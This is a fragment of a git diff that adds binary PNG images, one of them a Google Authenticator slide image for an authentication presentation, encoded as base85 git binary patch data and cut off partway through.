zN{7SYI5>iB1tQWO7~mb<zyj^@-h(rMPT0z|4Yrz%srDIrv8b7im6ff-61|JDRK!-G
zEI7Ozn2Ti(K2X)n{c&9mhr@AD1=~<WqzBLsOSg6f;woN?@s2nkmSDgw!%7B9Fp-#$
zv_L4Ev0UslV7jWV4nNG{a5$QdgErWPA|gj)0rzywxb|4A>Yyc%h;5Adfq-`u6BK>S
z#1^<qy<@ei79ZeCa5x;la1M!J8x9d^1+)ha$I8Bvu>f0&rDC_J>h_;+h7O0r5#;{?
X2POThv<23P00000NkvXXu0mjfnNK_c

literal 0
HcmV?d00001

diff --git a/content/slides/1337/images/authentication/google-authenticator.png b/content/slides/1337/images/authentication/google-authenticator.png
new file mode 100644
index 0000000000000000000000000000000000000000..370701e036963b8fd0daa2c190cc8259dca06ee1
GIT binary patch
literal 19601
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
